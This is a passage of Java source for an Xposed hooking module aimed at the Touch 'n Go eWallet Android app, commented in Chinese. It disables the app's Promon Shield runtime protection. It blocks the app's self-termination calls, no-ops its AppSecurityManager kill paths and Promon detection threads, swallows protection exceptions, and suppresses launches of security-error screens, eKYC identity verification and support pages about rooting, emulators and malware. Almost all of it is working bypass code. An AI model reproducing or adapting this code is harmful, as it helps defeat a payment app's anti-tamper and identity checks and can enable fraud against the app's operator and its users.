"callActivityOnDestroy",
|
||||
Activity.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.args[0];
|
||||
if (activity != null
|
||||
&& isCallingCodeActivity(activity.getClass().getName())) {
|
||||
callingCodeSurfaceActive = false;
|
||||
XposedBridge.log(TAG + " callingCode surface OFF");
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " callingCode lifecycle mark failed: " + t.getMessage());
|
||||
}
|
||||
XposedBridge.log(TAG + " callingCode allow-HW surface armed");
|
||||
}
|
||||
|
||||
private static boolean isRegistrationFlowActivity(String className) {
|
||||
if (className == null) {
|
||||
return false;
|
||||
}
|
||||
for (String marker : REGISTRATION_FLOW_MARKERS) {
|
||||
if (className.endsWith("." + marker) || className.contains(marker)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static String getProcessName() {
|
||||
try {
|
||||
Class<?> activityThread = Class.forName("android.app.ActivityThread");
|
||||
Method current = activityThread.getDeclaredMethod("currentProcessName");
|
||||
current.setAccessible(true);
|
||||
Object name = current.invoke(null);
|
||||
return name != null ? String.valueOf(name) : "?";
|
||||
} catch (Throwable t) {
|
||||
return "?";
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isTopActivityRegistrationFlow(Context ctx) {
|
||||
try {
|
||||
android.app.ActivityManager am =
|
||||
(android.app.ActivityManager) ctx.getSystemService(Context.ACTIVITY_SERVICE);
|
||||
if (am == null) {
|
||||
return false;
|
||||
}
|
||||
for (android.app.ActivityManager.AppTask task : am.getAppTasks()) {
|
||||
android.app.ActivityManager.RecentTaskInfo info = task.getTaskInfo();
|
||||
if (info == null || info.topActivity == null) {
|
||||
continue;
|
||||
}
|
||||
if (isRegistrationFlowActivity(info.topActivity.getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 强拉 Login 后系统 Splash 遮罩常挂在 UserLogin 上(windows=Splash Screen),
|
||||
* 导致复进「未响应」。onCreate/onResume 强制 dismiss。
|
||||
*/
|
||||
private static void hookLoginDismissSplash(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
final String login = "my.com.tngdigital.user.view.UserLoginActivity";
|
||||
try {
|
||||
XC_MethodHook dismissHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.args[0];
|
||||
if (activity == null) {
|
||||
return;
|
||||
}
|
||||
String name = activity.getClass().getName();
|
||||
if (!login.equals(name) && !name.endsWith(".UserLoginActivity")) {
|
||||
return;
|
||||
}
|
||||
dismissSplashScreen(activity);
|
||||
}
|
||||
};
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Instrumentation.class, "callActivityOnCreate",
|
||||
Activity.class, Bundle.class, dismissHook);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Instrumentation.class, "callActivityOnResume",
|
||||
Activity.class, dismissHook);
|
||||
XposedBridge.log(TAG + " hooked UserLogin splash dismiss (onCreate+onResume)");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " login splash dismiss hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 移除 Android 12+ / androidx 启动页遮罩,避免挡在 Login 前导致 ANR。 */
|
||||
private static void dismissSplashScreen(Activity activity) {
|
||||
activity.runOnUiThread(new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
activity.reportFullyDrawn();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
if (Build.VERSION.SDK_INT >= 31) {
|
||||
try {
|
||||
android.window.SplashScreen ss = activity.getSplashScreen();
|
||||
if (ss != null) {
|
||||
ss.setOnExitAnimationListener(
|
||||
splashScreenView -> splashScreenView.remove());
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
try {
|
||||
ClassLoader cl = activity.getClassLoader();
|
||||
Class<?> splashCl = XposedHelpers.findClass(
|
||||
"androidx.core.splashscreen.SplashScreen", cl);
|
||||
Object splash = XposedHelpers.callStaticMethod(
|
||||
splashCl, "installSplashScreen", activity);
|
||||
Class<?> condCl = XposedHelpers.findClass(
|
||||
"androidx.core.splashscreen.SplashScreen$KeepOnScreenCondition", cl);
|
||||
Object keepOff = Proxy.newProxyInstance(
|
||||
cl, new Class<?>[] { condCl },
|
||||
(proxy, method, args) -> false);
|
||||
XposedHelpers.callMethod(splash, "setKeepOnScreenCondition", keepOff);
|
||||
Class<?> exitCl = XposedHelpers.findClass(
|
||||
"androidx.core.splashscreen.SplashScreen$OnExitAnimationListener", cl);
|
||||
Object exitListener = Proxy.newProxyInstance(
|
||||
cl, new Class<?>[] { exitCl },
|
||||
(proxy, method, args) -> {
|
||||
if (args != null && args.length > 0 && args[0] != null) {
|
||||
XposedHelpers.callMethod(args[0], "remove");
|
||||
}
|
||||
return null;
|
||||
});
|
||||
XposedHelpers.callMethod(splash, "setOnExitAnimationListener", exitListener);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " dismissSplashScreen compat: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Splash 卡住救援:不立刻强拉 Login。
|
||||
* onCreate 只调度延迟检查;若已自行跳到 PIN/首页则取消。
|
||||
* 超时仍停在 Splash(Promon 堵死)才救援。
|
||||
*/
|
||||
private static void hookSplashForceLogin(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
final String splash = "my.com.tngdigital.ewallet.ui.SplashActivity";
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Instrumentation.class,
|
||||
"callActivityOnCreate",
|
||||
Activity.class,
|
||||
Bundle.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
final Activity activity = (Activity) param.args[0];
|
||||
if (activity == null) {
|
||||
return;
|
||||
}
|
||||
String name = activity.getClass().getName();
|
||||
if (isSplashActivityName(name)) {
|
||||
XposedBridge.log(TAG
|
||||
+ " Splash.onCreate enter — schedule stuck rescue @4s");
|
||||
scheduleSplashStuckRescue(
|
||||
activity.getApplicationContext(),
|
||||
activity,
|
||||
"Splash/beforeOnCreate",
|
||||
4000L);
|
||||
return;
|
||||
}
|
||||
// 任何非 Splash Activity 创建 → 取消 Splash 救援
|
||||
if (PACKAGE.equals(activity.getPackageName())) {
|
||||
markSplashNavigationDone(name);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
final Activity activity = (Activity) param.args[0];
|
||||
if (activity == null) {
|
||||
return;
|
||||
}
|
||||
String name = activity.getClass().getName();
|
||||
if (!isSplashActivityName(name)) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
activity.reportFullyDrawn();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
dismissSplashScreen(activity);
|
||||
}
|
||||
});
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Instrumentation.class,
|
||||
"callActivityOnResume",
|
||||
Activity.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.args[0];
|
||||
if (activity == null) {
|
||||
return;
|
||||
}
|
||||
String name = activity.getClass().getName();
|
||||
if (PACKAGE.equals(activity.getPackageName())
|
||||
&& !isSplashActivityName(name)) {
|
||||
markSplashNavigationDone(name);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked Splash stuck-rescue (not always→Login)");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Splash force hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void markSplashNavigationDone(String activityName) {
|
||||
if (splashNavigationDone) {
|
||||
return;
|
||||
}
|
||||
splashNavigationDone = true;
|
||||
if (pendingForceLoginRunnable != null) {
|
||||
FORCE_LOGIN_HANDLER.removeCallbacks(pendingForceLoginRunnable);
|
||||
pendingForceLoginRunnable = null;
|
||||
XposedBridge.log(TAG + " cancel splash rescue — now on " + activityName);
|
||||
}
|
||||
}
|
||||
|
||||
private static volatile long lastSuicideLogAt = 0L;
|
||||
private static volatile int suicideBlockCount = 0;
|
||||
|
||||
private static void hookAntiSuicide() {
|
||||
XC_MethodHook blockSelfKill = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (!shouldBlockThisSuicideCall(param)) {
|
||||
return;
|
||||
}
|
||||
lastBlockedSuicideAt = System.currentTimeMillis();
|
||||
suicideBlockCount++;
|
||||
long now = lastBlockedSuicideAt;
|
||||
if (now - lastSuicideLogAt > 3000L) {
|
||||
lastSuicideLogAt = now;
|
||||
XposedBridge.log(TAG + " blocked suicide #" + suicideBlockCount
|
||||
+ " " + param.method.getDeclaringClass().getSimpleName()
|
||||
+ "#" + param.method.getName()
|
||||
+ argsSummary(param.args)
|
||||
+ " thread=" + Thread.currentThread().getName()
|
||||
+ " stack=" + shortStack(6));
|
||||
}
|
||||
param.setResult(null);
|
||||
// 非主线程:打断自杀循环线程,避免只拦 kill 却卡死 UI
|
||||
freezeSuicideCallerThread();
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Process.class, "killProcess", int.class, blockSelfKill);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " killProcess hook failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(System.class, "exit", int.class, blockSelfKill);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " System.exit hook failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Runtime.class, "exit", int.class, blockSelfKill);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Runtime.exit hook failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Runtime.class, "halt", int.class, blockSelfKill);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Runtime.halt hook failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Process.class, "sendSignal", int.class, int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
int pid = (Integer) param.args[0];
|
||||
int signal = (Integer) param.args[1];
|
||||
if (pid != Process.myPid()) {
|
||||
return;
|
||||
}
|
||||
if (signal != 9 && signal != 15 && signal != 6) {
|
||||
return;
|
||||
}
|
||||
lastBlockedSuicideAt = System.currentTimeMillis();
|
||||
suicideBlockCount++;
|
||||
if (lastBlockedSuicideAt - lastSuicideLogAt > 3000L) {
|
||||
lastSuicideLogAt = lastBlockedSuicideAt;
|
||||
XposedBridge.log(TAG + " blocked sendSignal(self," + signal
|
||||
+ ") #" + suicideBlockCount);
|
||||
}
|
||||
param.setResult(null);
|
||||
freezeSuicideCallerThread();
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " sendSignal hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
XC_MethodHook blockFinish = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
if (!isSecurityRelatedActivity(activity)) {
|
||||
return;
|
||||
}
|
||||
if (System.currentTimeMillis() - lastBlockedSuicideAt > SOFT_CRASH_GUARD_MS) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " blocked " + param.method.getName()
|
||||
+ " on " + activity.getClass().getSimpleName());
|
||||
param.setResult(null);
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Activity.class, "finish", blockFinish);
|
||||
XposedHelpers.findAndHookMethod(Activity.class, "finishAffinity", blockFinish);
|
||||
XposedHelpers.findAndHookMethod(Activity.class, "finishAndRemoveTask", blockFinish);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " finish hooks failed: " + t.getMessage());
|
||||
}
|
||||
XposedBridge.log(TAG + " anti-suicide armed (rate-limited + freeze caller)");
|
||||
}
|
||||
|
||||
private static boolean shouldBlockThisSuicideCall(XC_MethodHook.MethodHookParam param) {
|
||||
// 真崩溃(KillApplicationHandler)放行,避免僵尸进程卡 Splash/黑屏
|
||||
if (stackHasClass("com.android.internal.os.RuntimeInit$KillApplicationHandler")) {
|
||||
return false;
|
||||
}
|
||||
String name = param.method.getName();
|
||||
if ("killProcess".equals(name)) {
|
||||
return ((Integer) param.args[0]) == Process.myPid();
|
||||
}
|
||||
// System/Runtime.exit/halt:一律拦(TNG 正常退出极少走这里)
|
||||
return true;
|
||||
}
|
||||
|
||||
private static boolean stackHasClass(String className) {
|
||||
try {
|
||||
for (StackTraceElement e : Thread.currentThread().getStackTrace()) {
|
||||
if (className.equals(e.getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static String argsSummary(Object[] args) {
|
||||
if (args == null || args.length == 0) {
|
||||
return "()";
|
||||
}
|
||||
StringBuilder sb = new StringBuilder("(");
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
if (i > 0) {
|
||||
sb.append(",");
|
||||
}
|
||||
sb.append(args[i]);
|
||||
}
|
||||
return sb.append(")").toString();
|
||||
}
|
||||
|
||||
private static void freezeSuicideCallerThread() {
|
||||
Thread t = Thread.currentThread();
|
||||
if (t.getId() == Looper.getMainLooper().getThread().getId()) {
|
||||
return;
|
||||
}
|
||||
// 栈里有 Promon 包才打断,避免误伤业务线程
|
||||
if (!stackHasPromon()) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
t.interrupt();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean stackHasPromon() {
|
||||
try {
|
||||
for (StackTraceElement e : Thread.currentThread().getStackTrace()) {
|
||||
if (isPromonPackageClass(e.getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 自杀链上游:只补 AppSecurityManager 杀进程路径 noop。
|
||||
* 勿拦 Handler.post / 勿 short-circuit G/H 等:会弄死 ContentProvider 初始化,Splash 僵尸卡住。
|
||||
* bl/R/a 仍由 hookPromonNativeGuard 处理。
|
||||
*/
|
||||
private static void hookPromonSuicideUpstream(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
hookAppSecurityKillPaths(lpparam);
|
||||
XposedBridge.log(TAG + " promon suicide upstream armed (kill-path only)");
|
||||
}
|
||||
|
||||
/** AppSecurityManager 里明确杀进程/退出的路径直接 noop(勿匹配 destroy/shutdown)。 */
|
||||
private static void hookAppSecurityKillPaths(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(
|
||||
"my.com.tngdigital.common.security.shielding.AppSecurityManager",
|
||||
lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
String lower = method.getName().toLowerCase(Locale.US);
|
||||
if (!lower.contains("kill")
|
||||
&& !lower.contains("exit")
|
||||
&& !lower.contains("force")
|
||||
&& !lower.contains("die")
|
||||
&& !lower.contains("suicide")
|
||||
&& !lower.contains("terminate")) {
|
||||
continue;
|
||||
}
|
||||
hookMethodNoopSilent(method);
|
||||
hooked++;
|
||||
}
|
||||
XposedBridge.log(TAG + " AppSecurityManager kill-path noop n=" + hooked);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " AppSecurityManager kill-path failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isSecurityRelatedActivity(Activity activity) {
|
||||
String name = activity.getClass().getName();
|
||||
return name.contains("SecurityError")
|
||||
|| name.contains("security.ui")
|
||||
|| name.contains("Promon");
|
||||
}
|
||||
|
||||
private static void hookBlockSecurityErrorLaunch(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook blockLaunch = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Intent intent = extractIntent(param.args);
|
||||
if (intent != null && shouldBlockIntent(intent)) {
|
||||
XposedBridge.log(TAG + " blocked intent via "
|
||||
+ param.method.getDeclaringClass().getSimpleName()
|
||||
+ "#" + param.method.getName()
|
||||
+ " data=" + intent.getDataString());
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
hookStartActivityOverloads("android.app.Activity", null, blockLaunch);
|
||||
hookStartActivityOverloads("android.content.ContextWrapper", null, blockLaunch);
|
||||
hookStartActivityOverloads("android.app.ContextImpl", null, blockLaunch);
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Instrumentation.class,
|
||||
"execStartActivity",
|
||||
Context.class,
|
||||
android.os.IBinder.class,
|
||||
android.os.IBinder.class,
|
||||
Activity.class,
|
||||
Intent.class,
|
||||
int.class,
|
||||
Bundle.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Intent intent = (Intent) param.args[4];
|
||||
if (shouldBlockIntent(intent)) {
|
||||
XposedBridge.log(TAG + " blocked execStartActivity "
|
||||
+ intent.getDataString());
|
||||
param.setResult(-1);
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " execStartActivity hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** Promon Shield 安全回调由 handle*Callback / bl short-circuit 处理,lifecycle 回调勿拦。 */
|
||||
|
||||
private static void hookStartActivityOverloads(
|
||||
String className, ClassLoader classLoader, XC_MethodHook blockLaunch) {
|
||||
try {
|
||||
if ("android.app.Activity".equals(className)) {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class, "startActivity", Intent.class, blockLaunch);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class, "startActivity", Intent.class, Bundle.class, blockLaunch);
|
||||
return;
|
||||
}
|
||||
if (classLoader == null) {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className, null, "startActivity", Intent.class, blockLaunch);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className, null, "startActivity", Intent.class, Bundle.class, blockLaunch);
|
||||
return;
|
||||
}
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className, classLoader, "startActivity", Intent.class, blockLaunch);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className, classLoader, "startActivity", Intent.class, Bundle.class, blockLaunch);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " startActivity hooks failed for " + className + ": "
|
||||
+ t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static Intent extractIntent(Object[] args) {
|
||||
if (args == null) {
|
||||
return null;
|
||||
}
|
||||
for (Object arg : args) {
|
||||
if (arg instanceof Intent) {
|
||||
return (Intent) arg;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static boolean shouldBlockIntent(Intent intent) {
|
||||
if (intent == null) {
|
||||
return false;
|
||||
}
|
||||
if (isSecurityErrorIntent(intent) || isHomeEkycVerifyIntent(intent)) {
|
||||
return true;
|
||||
}
|
||||
Uri data = intent.getData();
|
||||
if (data != null && isBlockedSupportUrl(data.toString())) {
|
||||
return true;
|
||||
}
|
||||
String action = intent.getAction();
|
||||
if (Intent.ACTION_VIEW.equals(action) && data != null) {
|
||||
return isBlockedSupportUrl(data.toString());
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static boolean isHomeEkycVerifyIntent(Intent intent) {
|
||||
if (intent == null) {
|
||||
return false;
|
||||
}
|
||||
if (intent.getComponent() != null) {
|
||||
String cls = intent.getComponent().getClassName();
|
||||
if (cls != null && cls.contains("HomeEkycVerify")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static boolean isBlockedSupportUrl(String url) {
|
||||
if (url == null || url.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
String lower = url.toLowerCase(Locale.US);
|
||||
if (!lower.contains("support.tngdigital.com.my")) {
|
||||
return false;
|
||||
}
|
||||
for (String marker : BLOCKED_SUPPORT_MARKERS) {
|
||||
if (lower.contains(marker)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return lower.contains("rooting") || lower.contains("jailbroken")
|
||||
|| lower.contains("emulator") || lower.contains("malware");
|
||||
}
|
||||
|
||||
/** 阻止 Promon 混淆层抛出 W/bd:16 并触发浏览器 fallback。 */
|
||||
private static void hookPromonNativeGuard(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
hookPromonBlSwallowExceptions(lpparam);
|
||||
for (String simple : new String[]{"W", "A", "bd"}) {
|
||||
hookPromonExceptionClass(lpparam, simple);
|
||||
}
|
||||
hookPromonRunnable(lpparam);
|
||||
}
|
||||
|
||||
/**
|
||||
* Promon lifecycle:1.9.10 用 vhvlnqgy.u,旧版用 w。
|
||||
* 实测 afterHook 仍跑 native → DeleteLocalRef 损坏 → ART Runtime abort (signal 6)。
|
||||
* 登录优先:onActivity* / onApplication* 全部 noop,不调原 native。
|
||||
*/
|
||||
private static void hookPromonLifecycle(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
for (String simple : new String[]{"w", "u"}) {
|
||||
hookPromonLifecycleClass(lpparam, simple);
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookPromonLifecycleClass(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String simpleName) {
|
||||
Class<?> lifecycleClass = findPromonClass(lpparam.classLoader, simpleName);
|
||||
if (lifecycleClass == null) {
|
||||
return;
|
||||
}
|
||||
final String lifecycleName = lifecycleClass.getName();
|
||||
try {
|
||||
int hooked = 0;
|
||||
for (Method method : lifecycleClass.getDeclaredMethods()) {
|
||||
String name = method.getName();
|
||||
if (!name.startsWith("onActivity") && !name.startsWith("onApplication")) {
|
||||
continue;
|
||||
}
|
||||
// 不调原 native:避免 JNI DeleteLocalRef → ART abort
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " " + lifecycleName
|
||||
+ " lifecycle (noop)");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip lifecycle " + lifecycleName + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 吞掉 :tools 进程里 Promon 抛出的未捕获 W:16。 */
|
||||
private static void hookUncaughtPromonException(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Thread.class,
|
||||
"dispatchUncaughtException",
|
||||
Throwable.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Throwable t = (Throwable) param.args[0];
|
||||
if (t == null) {
|
||||
return;
|
||||
}
|
||||
if (isPromonThrowableName(t.getClass().getName())
|
||||
|| isStatsLogNoise(t)) {
|
||||
XposedBridge.log(TAG + " swallowed uncaught " + t.getClass().getSimpleName()
|
||||
+ " in " + lpparam.processName
|
||||
+ " msg=" + t.getMessage());
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked Thread.dispatchUncaughtException");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " dispatchUncaughtException hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 登录优先:只 short-circuit bl#a / bl#b(文档有效路径)。全拦 bl/R 六个方法会破坏
|
||||
* u.onActivityCreated JNI → ART abort;a.run 仍单独 noop。
|
||||
*/
|
||||
private static void hookPromonBlSwallowExceptions(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
for (String simple : new String[]{"bl", "R"}) {
|
||||
hookPromonClassShortCircuit(lpparam, simple);
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookPromonClassShortCircuit(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String simpleName) {
|
||||
Class<?> clazz = findPromonClass(lpparam.classLoader, simpleName);
|
||||
if (clazz == null) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
String methodName = method.getName();
|
||||
if (!"a".equals(methodName) && !"b".equals(methodName)) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " " + clazz.getName()
|
||||
+ " method(s), a/b short-circuit only");
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " " + clazz.getName() + " short-circuit failed: "
|
||||
+ t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** Promon 后台 Runnable(bl#b 检测线程),beforeHook 直接 noop,禁止跑 native。 */
|
||||
private static void hookPromonRunnable(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
Class<?> runnableClass = findPromonClass(lpparam.classLoader, "a");
|
||||
if (runnableClass == null) {
|
||||
XposedBridge.log(TAG + " Promon a runnable not found");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(runnableClass, "run", new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(null);
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked " + runnableClass.getName() + ".run (short-circuit)");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Promon a.run hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookPromonExceptionClass(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String simpleName) {
|
||||
Class<?> promonExc = findPromonClass(lpparam.classLoader, simpleName);
|
||||
if (promonExc == null) {
|
||||
return;
|
||||
}
|
||||
final String className = promonExc.getName();
|
||||
try {
|
||||
for (Method method : promonExc.getDeclaredMethods()) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " swallowed " + className + "#" + method.getName());
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
});
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookConstructor(promonExc, int.class, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " swallowed " + className + "<init>(int)");
|
||||
param.setResult(null);
|
||||
}
|
||||
});
|
||||
} catch (Throwable ignored) {
|
||||
// constructor overload may differ
|
||||
}
|
||||
XposedBridge.log(TAG + " hooked Promon exception " + className);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " " + className + " hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isPromonThrowable(Throwable t, Class<?> promonExc) {
|
||||
if (t == null) {
|
||||
return false;
|
||||
}
|
||||
if (promonExc != null && promonExc.isInstance(t)) {
|
||||
return true;
|
||||
}
|
||||
return isPromonThrowableName(t.getClass().getName());
|
||||
}
|
||||
|
||||
private static boolean isPromonThrowableName(String className) {
|
||||
if (className == null) {
|
||||
return false;
|
||||
}
|
||||
if (!isPromonPackageClass(className)) {
|
||||
return false;
|
||||
}
|
||||
// W/A/bd 等 Promon 异常;排除 bl/w/bg/R 等功能类
|
||||
int dot = className.lastIndexOf('.');
|
||||
if (dot < 0) {
|
||||
return false;
|
||||
}
|
||||
String simple = className.substring(dot + 1);
|
||||
if ("bd".equals(simple)) {
|
||||
return true;
|
||||
}
|
||||
return simple.length() == 1;
|
||||
}
|
||||
|
||||
private static boolean isStatsLogNoise(Throwable t) {
|
||||
for (Throwable cur = t; cur != null; cur = cur.getCause()) {
|
||||
String name = cur.getClass().getName();
|
||||
String msg = cur.getMessage();
|
||||
if (name != null && name.contains("StatsLog")) {
|
||||
return true;
|
||||
}
|
||||
if (msg != null && msg.contains("StatsLog")) {
|
||||
return true;
|
||||
}
|
||||
if (cur instanceof UnsatisfiedLinkError
|
||||
&& msg != null
|
||||
&& (msg.contains("stats") || msg.contains("Stats"))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static boolean isPromonPackageClass(String className) {
|
||||
for (String prefix : PROMON_PKG_PREFIXES) {
|
||||
if (className.startsWith(prefix + ".")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static Class<?> findPromonClass(ClassLoader loader, String simpleName) {
|
||||
for (String prefix : PROMON_PKG_PREFIXES) {
|
||||
try {
|
||||
return XposedHelpers.findClass(prefix + "." + simpleName, loader);
|
||||
} catch (Throwable ignored) {
